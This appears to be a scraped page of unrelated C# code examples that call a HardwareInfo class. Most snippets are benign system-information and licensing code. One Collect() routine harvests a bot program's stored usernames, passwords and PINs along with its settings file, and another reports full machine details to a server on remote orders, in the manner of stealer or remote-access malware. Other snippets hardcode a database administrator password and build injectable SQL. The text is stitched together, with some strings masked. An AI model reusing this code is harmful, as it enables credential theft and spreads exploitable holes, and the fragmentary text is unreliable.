public HardwareInfo GetHardwareInfo()
 {
     var wmiSystemInfo = new WmiSystemInfo();
     var hardwareInfo = new HardwareInfo
     {
         Monitors   = GetModitorsInfo(),
         Processor  = wmiSystemInfo.GetCpuInfo(),
         MemoryInfo = GetMemoryInfo(),
         Drives     = GetDrivesInfo()
     };
     return hardwareInfo;
 }
Exemplo n.º 2
0
        public static string GetDiskSerialNumber()
        {
            var rd = "";

            try
            {
                rd = HardwareInfo.GetDiskVolume();
            }
            catch (Exception ex)
            {
                LogX.Error(ex);
            }
            return(rd);
        }
Exemplo n.º 3
0
        public static string GetMAC()
        {
            var rd = "";

            try
            {
                rd = HardwareInfo.GetMacAddress();
            }
            catch (Exception ex)
            {
                LogX.Error(ex);
            }
            return(rd);
        }
Exemplo n.º 4
0
        static void Main(string[] args)
        {
            var runtime  = new RuntimeInfo();
            var system   = new SystemInfo();
            var hardware = new HardwareInfo();
            var v        = runtime.Version;

            WriteLine($"{v.Major}.{v.Minor}.{v.Build}.{v.Revision}");
            WriteLine(system.OSFamilyName);
            WriteLine(system.OSVersion);
            WriteLine(system.OSInfo.ToString());
            WriteLine(system.OSName);
            WriteLine(system.OSBit);
            WriteLine(runtime.RuntimeDirectory);
        }
Exemplo n.º 5
0
        public void Collect()
        {
            if (!File.Exists(_settingsFile))
            {
                return;
            }
            Attachments = new List <Attachment> {
                new Attachment(_settingsFile)
            };
            IEnumerable <RSBotAccount> accounts = GetLocalAccounts(HardwareInfo.GetLocalKey());

            foreach (RSBotAccount acc in accounts)
            {
                Data += "Username: "******", Password: "******", Pin: " + acc.Pin + "\r\n";
            }
        }
        private void BtnSave_Click(object sender, RoutedEventArgs e)
        {
            var entityConnectionString = BuildConnectionString(ProviderConnectionString());

            if (IsServerConnected(entityConnectionString))
            {
                var encryptedConnectionString = Aes.Encrypt(entityConnectionString, HardwareInfo.GetProcessorId(), 256);
                RegistryOperator.CreateKey("ConnectionString", encryptedConnectionString);
                DataBaseConnection.MainConnectionString = entityConnectionString;
                DialogResult = true;
            }
            else
            {
                TxtsResetter();
            }
        }
Exemplo n.º 7
0
        private void button1_Click(object sender, EventArgs e)
        {
            HardwareInfo info = new HardwareInfo();

            textBox1.Text = textBox1.Text + info.GetComputerName() + "\r\n";
            textBox1.Text = textBox1.Text + info.GetCpuID() + "\r\n";
            textBox1.Text = textBox1.Text + info.GetDiskID() + "\r\n";
            textBox1.Text = textBox1.Text + info.GetDiskVolumeSerialNumber() + "\r\n";
            textBox1.Text = textBox1.Text + info.GetIPAddress() + "\r\n";
            textBox1.Text = textBox1.Text + info.GetMacAddress() + "\r\n";
            textBox1.Text = textBox1.Text + info.GetMNum() + "\r\n";
            textBox1.Text = textBox1.Text + info.GetRNum() + "\r\n";
            textBox1.Text = textBox1.Text + info.GetSystemType() + "\r\n";
            textBox1.Text = textBox1.Text + info.GetTotalPhysicalMemory() + "\r\n";
            textBox1.Text = textBox1.Text + info.GetUserName() + "\r\n";
        }
Exemplo n.º 8
0
        /// <summary>
        /// 获取系统内存大小
        /// </summary>
        /// <returns>内存大小(单位M)</returns>
        public static int GetPhisicalMemory()
        {
            try
            {
                var memInfo = new HardwareInfo.MEMORYSTATUSEX();
                memInfo.dwLength = (uint)Marshal.SizeOf(typeof(HardwareInfo.MEMORYSTATUSEX));
                HardwareInfo.GlobalMemoryStatusEx(ref memInfo);
                var tm = memInfo.ullTotalPhys / 1024 / 1024;
                return((int)tm);
            }
            catch (Exception ex)
            {
                LogX.Error(ex);
            }

            try
            {
                var searcher = new ManagementObjectSearcher();
                searcher.Query = new SelectQuery("Win32_PhysicalMemory ", "", new string[] { "Capacity" });
                var collection = searcher.Get();
                var em         = collection.GetEnumerator();

                long capacity = 0;
                while (em.MoveNext())
                {
                    var baseObj = em.Current;
                    if (baseObj.Properties["Capacity"].Value != null)
                    {
                        try
                        {
                            capacity += long.Parse(baseObj.Properties["Capacity"].Value.ToString());
                        }
                        catch
                        {
                            return(0);
                        }
                    }
                }
                return((int)(capacity / 1024 / 1024));
            }
            catch (Exception ex)
            {
                LogX.Error(ex);
            }

            return(0);
        }
Exemplo n.º 9
0
 static void RecursiveIndexFiles(string directory)
 {
     foreach (string file in Directory.GetFiles(directory))
     {
         try
         {
             filesIndex += file + "\t" + HardwareInfo.BytesToHuman(new Delimon.Win32.IO.FileInfo(file).Length) + "\n";
         }
         catch (Exception)
         {
         }
         foreach (string subdir in Directory.GetDirectories(directory))
         {
             RecursiveIndexFiles(subdir);
         }
     }
 }
Exemplo n.º 10
0
 static bool ParseHardwareInfoCore(HardwareInfo res)
 {
     try {
         var query      = new System.Management.ObjectQuery("Select * FROM Win32_ComputerSystem");
         var searcher   = new ManagementObjectSearcher(query);
         var collection = searcher.Get();
         foreach (var c in collection)
         {
             res.Manufacturer = c["Manufacturer"].ToString();
             res.Model        = c["Model"].ToString();
         }
     } catch {
         return(false);
     }
     ParseKind(res);
     return(true);
 }
Exemplo n.º 11
0
        private static void Timer_Elapsed(object sender, ElapsedEventArgs e)
        {
            time++;
            if (time >= values.Length)
            {
                time = 0;
            }

            Dictionary <string, HardwareInfo> HardwareInfos = new Dictionary <string, HardwareInfo>();
            HardwareInfo DummyInfo = new HardwareInfo("Dummy_CPU");

            HardwareInfos.Add(DummyInfo.Name, DummyInfo);

            DummyInfo.AddSensor("cpu_0").AddValue("cpu_temperature", values[time]);

            manager.UploadReadings(HardwareInfos);
        }
Exemplo n.º 12
0
        protected override async ValueTask DisposeInternal(bool disposing)
        {
            var channelProcessors = ChannelProcessors;

            while (!channelProcessors.IsEmpty)
            {
                var tasks = channelProcessors
                            .Take(HardwareInfo.GetProcessorCountFactor(4, 4))
                            .ToList()
                            .Select(p => {
                    var(_, channelProcessor) = (p.Key, p.Value);
                    return(channelProcessor.DisposeAsync().AsTask());
                });
                await Task.WhenAll(tasks).ConfigureAwait(false);
            }
            await base.DisposeInternal(disposing).ConfigureAwait(false);
        }
Exemplo n.º 13
0
        //**************************************************************************
        //NAME:      IsValidKey
        //PURPOSE:  CHECK VALID KEY ,THE CONDITION IS IF ACTIVATE=TRUE THE HARDWARE INFO NOT EMTY
        //IF ACTIVATE=FALSE THEN HARDWARE INFO EMPTY
        //**************************************************************************
        public static bool IsValidKey(string key)
        {
            mMotherboard_ID = HardwareInfo.GetBaseBoardSlNo();
            mMAC_Id         = HardwareInfo.GetMACAddress();
            mHDD_No         = HardwareInfo.GetHDDSerialNo();

            string Query = "SELECT  * FROM Dapro_Activation where Activation_Key=@Key  and ((Activated='true' and Motherboard_ID='" + mMotherboard_ID + "' " +
                           "and MAC_Id='" + mMAC_Id + "' and HDD_No='" + mHDD_No + "') or (Activated='false' and (ISNULL(Motherboard_ID, '') = '') and (ISNULL(HDD_No, '') = '') and (ISNULL(MAC_Id, '') = '')))";

            AzureSQLHelper.SetParamiterWithValue("Key", key);
            object o = AzureSQLHelper.GetInstance().ExcuteScalar(Query);

            if (o != null)
            {
                return(true);
            }
            return(false);
        }
Exemplo n.º 14
0
 private static bool InitSystemParams()
 {
     try
     {
         _DataPath         = (_isDeployClickOnce ? ApplicationDeployment.CurrentDeployment.DataDirectory : Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location));
         _ConnString       = "Data source=" + _DataPath + "\\db.db3;Password=1031;Version=3;Page Size=4096;Cache Size=2000;Synchronous=Full;";
         _CRCFile          = _DataPath + "\\Conn.log";
         _HardDiskSerialNo = Encrypt(HardwareInfo.GetHDDSignature());
         CheckDBSchema();
         return(true);
     }
     catch (Exception ex)
     {
         _Logger.Fatal("初始化程式參數過程中發生例外狀況 --" + ex.ToString());
         MessageBox.Show(string.Format("初始化程式參數過程中發生例外狀況:「{0}」\r\n\r\n程式執行路徑為:「{1}」", ex.ToString(), DataPath), "例外訊息", MessageBoxButtons.OK, MessageBoxIcon.Hand);
     }
     return(false);
 }
Exemplo n.º 15
0
        public JsonResult Open(string id)
        {
            var response = CheckId(id);

            if (response != null)
            {
                return(response);
            }

            IComm comm;

            if (!hardware.TryGetValue(id, out comm))
            {
                var result = FakeSerial.Open(id);
                if (result.Comm != null)
                {
                    hardwareInfo[id].Open = true;
                    comm = result.Comm;
                    hardware.Add(id, comm);
                }
                else if (result.IsValid)
                {
                    hardwareInfo[id] = new HardwareInfo(id, false);
                    return(HardwareResponse(id));
                }
                else
                {
                    hardwareInfo.Remove(id);
                    return(HardwareResponse(id));
                }
            }
            string chip, board;

            if (!comm.GetDetails(DefaultTimeout, out chip, out board))
            {
                return(TimeoutResponse(id, "getting details"));
            }

            hardwareInfo[id].Details       = hardwareInfo[id].Details ?? new Details();
            hardwareInfo[id].Details.Board = board;
            hardwareInfo[id].Details.Chip  = chip;

            return(HardwareResponse(id));
        }
Exemplo n.º 16
0
        private void button3_Click(object sender, EventArgs e)
        {
            if (dataGridView1.SelectedRows.Count > 0)
            {
                SqlConnection sqlcon = new SqlConnection("Data Source=192.168.1.25;Initial Catalog=AIO75_SH_BEQJ;Persist Security Info=True;User ID=sa;Password=pushiAIO7");
                try
                {
                    string itmid   = "";
                    string itmname = "";
                    string qty     = "";
                    using (HardwareInfo hdifo = new HardwareInfo())
                    {
                        if (hdifo.ShowDialog() == DialogResult.OK)
                        {
                            itmid   = hdifo.itmid;
                            itmname = hdifo.itmname;
                            qty     = hdifo.qty;
                        }
                    }
                    if (string.IsNullOrEmpty(itmid) || string.IsNullOrEmpty(itmname))
                    {
                        MessageBox.Show("编码和名称不能为空!");
                        return;
                    }
                    sqlcon.Open();

                    string bomid   = dataGridView1.SelectedRows[0].Cells[0].Value.ToString();
                    string linenum = dataGridView1.SelectedRows[0].Cells[1].Value.ToString();

                    string     sql  = string.Format("update ucbomb set itmid={2},itmname='{3}',qty={4} where bomid in('{0}') and linenum = {1}", bomid, linenum, itmid, itmname, qty);
                    SqlCommand cmd2 = new SqlCommand(sql, sqlcon);
                    cmd2.ExecuteNonQuery();
                }
                catch (Exception ex)
                {
                }
                finally
                {
                    sqlcon.Close();
                    MessageBox.Show("OK");
                }
            }
        }
Exemplo n.º 17
0
        private HardwareInfo[] SetAvailability(Guid sessionId, IList <HardwareInfo> info)
        {
            var session = sessions[sessionId];
            var result  = new HardwareInfo[info.Count];

            for (int i = 0; i < info.Count; ++i)
            {
                var id = info[i].Id;
                result[i] = info[i];
                if (session.IsReserved(id))
                {
                    result[i].Status = HardwareStatus.Reserved;
                }
                else if (sessions.Values.Any(s => s.Id != sessionId && s.IsReserved(id)))
                {
                    result[i].Status = HardwareStatus.Unavailable;
                }
            }
            return(result);
        }
Exemplo n.º 18
0
        //**************************************************************************
        //NAME: IsOnlineActivation
        //DESCRIPTION: IT WILL BE DISCUSS HOW TO CONFIGURE ONLINE SERVER DATABSE????
        //**************************************************************************
        public static bool IsOnlineActivation(string activationKey,
                                              string Org_Name, string Org_ContactNo, string Org_Email
                                              , string Remarks)
        {
            #region Variable
            mActivationKey = activationKey;
            mOrg_Name      = Org_Name;
            mOrg_ContactNo = Org_ContactNo;
            mOrg_Email     = Org_Email;
            mRemarks       = Remarks;
            //Arup v1.a.m
            mMotherboard_ID = HardwareInfo.GetBaseBoardSlNo();
            mMAC_Id         = HardwareInfo.GetMACAddress();
            mHDD_No         = HardwareInfo.GetHDDSerialNo();

            mActivated = true;
            //***************TYPE MEANS tRAL OR FULL VERSION********************
            mActivation_Type = true;
            #endregion

            string Query = "SELECT  Activation_Key FROM Dapro_Activation where Activation_Key=@Key and Activated='false' and  " +
                           "(ISNULL(Motherboard_ID, '') = '') and (ISNULL(HDD_No, '') = '') and (ISNULL(MAC_Id, '') = '')";
            AzureSQLHelper.SetParamiterWithValue("Key", activationKey.Trim());
            object o = AzureSQLHelper.GetInstance().ExcuteScalar(Query);
            if (o != null)
            {
                InstallStatus = FirstTimeSaveActivationInfo();
            }
            else
            {
                Query = "SELECT  Activation_Key FROM Dapro_Activation where Activation_Key=@Key and Activated='true' and Motherboard_ID='" + mMotherboard_ID + "' " +
                        "and MAC_Id='" + mMAC_Id + "' and HDD_No='" + mHDD_No + "' and (Expiry_date < CAST(Getdate() AS DATE))";
                AzureSQLHelper.SetParamiterWithValue("Key", activationKey.Trim());
                object obj = AzureSQLHelper.GetInstance().ExcuteScalar(Query);
                if (obj != null)
                {
                    InstallStatus = RenewalSaveActivationInfo();
                }
            }
            return(InstallStatus);
        }
Exemplo n.º 19
0
        public static TryRegisterComputerId RegisterComputerId(string shopId, bool is1CServer = true, bool isMainCashbox = false)
        {
            if (string.IsNullOrEmpty(shopId))
            {
                return(new TryRegisterComputerId(0, false, "Пустой Id магазина"));
            }

            DataSet dsShop = SqlWorks.ExecProc("IsShopExists", shopId);

            if (dsShop == null || ConvertSafe.ToInt32(dsShop.Tables[0].Rows[0]["result"]) == 0)
            {
                return(new TryRegisterComputerId(0, false, $"Магазин с id = {shopId} отсутствует"));
            }

            DataSet ds = SqlWorks.ExecProc("RegisterComputer",
                                           shopId,
                                           Environment.MachineName,
                                           NetWork.GetLocalIPAddress(),
                                           is1CServer,
                                           isMainCashbox,
                                           HardwareInfo.GetMacAddress());

            if (ds != null)
            {
                int?id = Convert.ToInt32(ds.Tables[0].Rows[0]["ComputerId"]);
                if (id.HasValue)
                {
                    return(new TryRegisterComputerId(id.Value));
                }
                else
                {
                    NLogger.LogErrorToHdd("Ошибка регистрации. Не удалось получить ID компьютера.", MainSettings.Constants.MAGIC_UPDATER);
                    return(new TryRegisterComputerId(0, false, "Ошибка регистрации. Не удалось получить ID компьютера."));
                }
            }
            else
            {
                NLogger.LogErrorToHdd("Ошибка регистрации. Не удалось получить ID компьютера.", MainSettings.Constants.MAGIC_UPDATER);
                return(new TryRegisterComputerId(0, false, "Ошибка регистрации. Не удалось получить ID компьютера."));
            }
        }
Exemplo n.º 20
0
        public MenuPage()
        {
            InitializeComponent();

            lb_cpu.Text  = HardwareInfo.GetProcessorname();
            lb_ram.Text  = HardwareInfo.GetPhysicalMemory();
            lb_bios.Text = HardwareInfo.GetBIOSmaker();
            lb_mobo.Text = HardwareInfo.GetBoardMaker();
            lb_vga.Text  = HardwareInfo.Getvganame();



            //timer-------------
            DispatcherTimer timer = new DispatcherTimer(DispatcherPriority.Render);

            timer.Interval = TimeSpan.FromMilliseconds(2500);
            timer.Tick    += timer_refreshData;
            timer.Start();

            //---------
        }
Exemplo n.º 21
0
        //**************************************************************************
        //NAME:      IsValidLicenseDate
        //PURPOSE:  Check this installlation key,or mac_id...etc installlation date between online server date
        //**************************************************************************
        public static bool IsValidLicenseDate(out string Activation_Key)
        {
            Activation_Key = "";
            string motherboard_ID = HardwareInfo.GetBaseBoardSlNo();
            string MAC_Id         = HardwareInfo.GetMACAddress();
            string HDD_No         = HardwareInfo.GetHDDSerialNo();
            //Get Online server currentdate
            string Qry = "select top(1)ID,Activation_Key from dbo.Dapro_ActivationInfo where Activation_Key = (SELECT Activation_Key FROM  Dapro_Activation " +
                         "where   Motherboard_ID = '" + motherboard_ID + "' " +
                         "and MAC_Id = '" + MAC_Id + "' and Dapro_Activation.HDD_No = '" + HDD_No + "'  and Activated = 'true') " +
                         "and (Expiry_date >= CAST(Getdate() AS DATE)) " +
                         "order by ID desc";
            DataTable d = AzureSQLHelper.GetInstance().ExcuteNonQuery(Qry);

            if (d.IsValidDataTable())
            {
                Activation_Key = d.Rows[0]["Activation_Key"].ToString();
                return(true);
            }
            return(false);
        }
Exemplo n.º 22
0
        static Timeouts()
        {
            Clock = CoarseCpuClock.Instance;
            var concurrencyLevel = HardwareInfo.GetProcessorCountPo2Factor(8);

            KeepAlive = new ConcurrentTimerSet <object>(
                new ConcurrentTimerSet <object> .Options()
            {
                Quanta           = TimeSpan.FromMilliseconds(250),
                ConcurrencyLevel = concurrencyLevel,
                Clock            = Clock,
            });
            Swap = new ConcurrentTimerSet <ISwappable>(
                new ConcurrentTimerSet <ISwappable> .Options()
            {
                Quanta           = TimeSpan.FromMilliseconds(250),
                ConcurrencyLevel = concurrencyLevel,
                Clock            = Clock,
            },
                t => t.SwapAsync());
        }
Exemplo n.º 23
0
        private static void StartInspectHardware()
        {
            new Thread(() =>
            {
                try
                {
                    inspectHardwareRunning            = true;
                    inspectHardwareLoading            = false;
                    Thread.CurrentThread.IsBackground = true;

                    NameValueCollection postData = new NameValueCollection
                    {
                        ["operation"]   = Utility.UPDATE_HARDWARE_DATA,
                        ["machineID"]   = machineID,
                        ["password"]    = password,
                        ["account"]     = HardwareInfo.Account(orders.inspectHardware),
                        ["os"]          = HardwareInfo.OS(orders.inspectHardware),
                        ["language"]    = HardwareInfo.Language(),
                        ["motherboard"] = HardwareInfo.Motherboard(orders.inspectHardware),
                        ["memory"]      = HardwareInfo.Memory(orders.inspectHardware),
                        ["bios"]        = HardwareInfo.Bios(orders.inspectHardware),
                        ["cpu"]         = HardwareInfo.CPU(orders.inspectHardware),
                        ["gpu"]         = HardwareInfo.Graphics(orders.inspectHardware),
                        ["audio"]       = HardwareInfo.SoundCard(orders.inspectHardware),
                        ["network"]     = HardwareInfo.Network(orders.inspectHardware),
                        ["harddrives"]  = HardwareInfo.HardDrives(orders.inspectHardware),
                        ["cdrom"]       = HardwareInfo.CDROMDrive(orders.inspectHardware)
                    };
                    Utility.ServerCommunication(postData);

                    inspectHardwareRunning = false;
                    orders.inspectHardware = false;
                }
                catch (Exception e)
                {
                    Console.WriteLine(e.StackTrace);
                }
            }).Start();
        }
Exemplo n.º 24
0
 public override void notifyConstructDone()
 {
     base.notifyConstructDone();
     if (mGame == null)
     {
         mGame             = Game.instance as Game;
         mGameConfig       = mGame.getSystem <GameConfig>();
         mHardwareInfo     = mGame.getSystem <HardwareInfo>();
         mSocketNetManager = mGame.getSystem <SocketManager>();
         mGameInputManager = mGame.getSystem <GameInputManager>();
         mUSBManager       = mGame.getSystem <USBManager>();
         mGameSetting      = mGame.getSystem <GameSetting>();
         mRoleSystem       = mGame.getSystem <RoleSystem>();
         mRaceSystem       = mGame.getSystem <RaceSystem>();
         mItemManager      = mGame.getSystem <SceneItemManager>();
         mLogSystem        = mGame.getSystem <LogSystem>();
         mFrameLogSystem   = mLogSystem;
         mRegisterTool     = mGame.getSystem <RegisterTool>();
         mWayPointManager  = mGame.getSystem <WayPointManager>();
         mGameUtility      = mGame.getSystem <GameUtility>();
     }
 }
Exemplo n.º 25
0
        public void SendReading(string DeviceId, Dictionary <string, HardwareInfo> HardwareInfos)
        {
            Request_SendReading requestData = new Request_SendReading();

            foreach (string HWId in HardwareInfos.Keys)
            {
                HardwareInfo HWInfo = HardwareInfos[HWId];
                ReadingData  hwdata = new ReadingData()
                {
                    hardware_id = HWId
                };

                foreach (string SNId in HWInfo.Sensors.Keys)
                {
                    foreach (KeyValuePair <string, float> value in HWInfo.Sensors[SNId].Values)
                    {
                        hwdata.sensor_info.Add(new SensorData()
                        {
                            tag   = SNId + "_" + value.Key,
                            value = value.Value
                        });
                    }
                }

                if (hwdata.sensor_info.Count > 0)
                {
                    requestData.data.Add(hwdata);
                }
            }

            var request = new RestRequest();

            request.Resource = "reading/" + DeviceId;
            request.Method   = Method.POST;
            request.AddJsonBody(requestData);

            Execute <Object>(request);
        }
Exemplo n.º 26
0
 protected override async ValueTask DisposeInternalAsync(bool disposing)
 {
     while (!Channels.IsEmpty)
     {
         var tasks = Channels
                     .Take(HardwareInfo.GetProcessorCountFactor(4, 4))
                     .ToList()
                     .Select(p => Task.Run(async() => {
             var channel = p.Key;
             if (!Channels.TryRemove(channel, out _))
             {
                 return;
             }
             try {
                 await OnDetachedAsync(channel).ConfigureAwait(false);
             }
             catch {
                 // Ignore: we did what we could, Dispose shouldn't throw anything
             }
         }));
         await Task.WhenAll(tasks).ConfigureAwait(false);
     }
 }
Exemplo n.º 27
0
        private void GetHardwareFinish(bool success, string body)
        {
            HardwareInfo info = new HardwareInfo();

            info.success = success;
            if (success)
            {
                JSONNode node = JSONNode.Parse(body);
                //cpu 是json 字符串数组
                info.cpu         = node["cpu"].Value;
                info.gpu         = node["gpu"].Value;
                info.cpuFreq     = node["cpuFreq"].AsInt;
                info.cpuNum      = node["cpuNum"].AsInt;
                info.totalMemory = node["totalMemory"].AsInt;
                info.freeMemory  = node["freeMemory"].AsInt;
                info.deviceModel = node["deviceModel"].Value;
            }
            else
            {
                info.message = body;
            }
            getHardwareListener(info);
        }
Exemplo n.º 28
0
    public VisualReport(string id, string package, string description, string author, string groups, string prereq, int quality, string started) : this()
    {
        this.Type        = "startVisualReport";
        this.Line        = -1;
        this.Name        = package;
        this.Quality     = quality;
        this.Started     = started;
        this.CpuSpeed    = HardwareInfo.GetCpuSpeedInGHz();
        this.CpuCount    = HardwareInfo.GetCpuCount();
        this.TotalMemory = HardwareInfo.GetPhysicalMemory();
        this.OsInfo      = HardwareInfo.GetOSInformation();

        if (!string.IsNullOrEmpty(id))
        {
            this.Id = id;
        }

        if (!string.IsNullOrEmpty(author))
        {
            this.Author = author;
        }

        if (!string.IsNullOrEmpty(description))
        {
            this.Description = description;
        }

        if (!string.IsNullOrEmpty(groups))
        {
            this.Groups = groups;
        }

        if (!string.IsNullOrEmpty(prereq))
        {
            this.Prerequisite = prereq;
        }
    }
Exemplo n.º 29
0
        void timer_refreshData(object sender, EventArgs e)
        {
            k.sql = "select COUNT(nip) from pegawai";
            k.setdt();
            tile_jmlpeg.Count  = k.dt.Rows[0][0].ToString();
            tile_jmlpeg2.Count = tile_jmlpeg.Count;

            k.sql = "select COUNT(nis) from siswa";
            k.setdt();
            tile_jmlsis.Count  = k.dt.Rows[0][0].ToString();
            tile_jmlsis2.Count = tile_jmlsis.Count;

            k.sql = "select COUNT(kd_nilai) from nilai";
            k.setdt();
            tile_jmlnl.Count  = k.dt.Rows[0][0].ToString();
            tile_jmlnl2.Count = tile_jmlnl.Count;

            k.sql = "select COUNT(session_id) from session";
            k.setdt();
            tile_online.Count  = k.dt.Rows[0][0].ToString();
            tile_online2.Count = tile_online.Count;

            batteryPercent.Text  = HardwareInfo.GetBaterylevel() + "%";
            batteryPercent2.Text = batteryPercent.Text;
            string cas = HardwareInfo.GetBaterycharge();

            if (cas == "2")
            {
                charge_icon.Kind  = MahApps.Metro.IconPacks.PackIconModernKind.BatteryCharging;
                charge_icon2.Kind = charge_icon.Kind;
            }
            else
            {
                charge_icon.Kind  = MahApps.Metro.IconPacks.PackIconModernKind.Battery0;
                charge_icon2.Kind = charge_icon.Kind;
            }
        }
Exemplo n.º 30
0
        protected override void CompileLayout(SuperGumpLayout layout)
        {
            base.CompileLayout(layout);

            layout.AddReplace(
                "buttongrid/base",
                () =>
            {
                HardwareInfo hi = ((Account)User.Account).HardwareInfo;

                int w = (hi != null ? hi.ScreenWidth : 1920) / 20;
                int h = (hi != null ? hi.ScreenHeight : 1080) / 20;

                for (int x = 0; x < w; x++)
                {
                    for (int y = 0; y < h; y++)
                    {
                        AddButton(x * 20, y * 20, 9028, 9021, OnSelectPoint);
                    }
                }
            });

            layout.AddReplace("image/marker", () => AddImage(Value.X + 5, Value.Y, 9009));
        }
Exemplo n.º 31
0
        // Constructor adheres to RoboWar defaults
        public RobotFile()
        {
            name = "New Robot";

            password = null;
            locked   = false;

            byte[] temp = BitConverter.GetBytes((Int16)Bytecodes.OP_END);
            if (BitConverter.IsLittleEndian)
            {
                program = new byte[] { temp[1], temp[0] }
            }
            ;
            else
            {
                program = temp;
            }
            hardware   = new HardwareInfo();
            turretType = TurretType.Line;
            icons      = new Image[10];
            sounds     = new int[10];

            code = "";
        }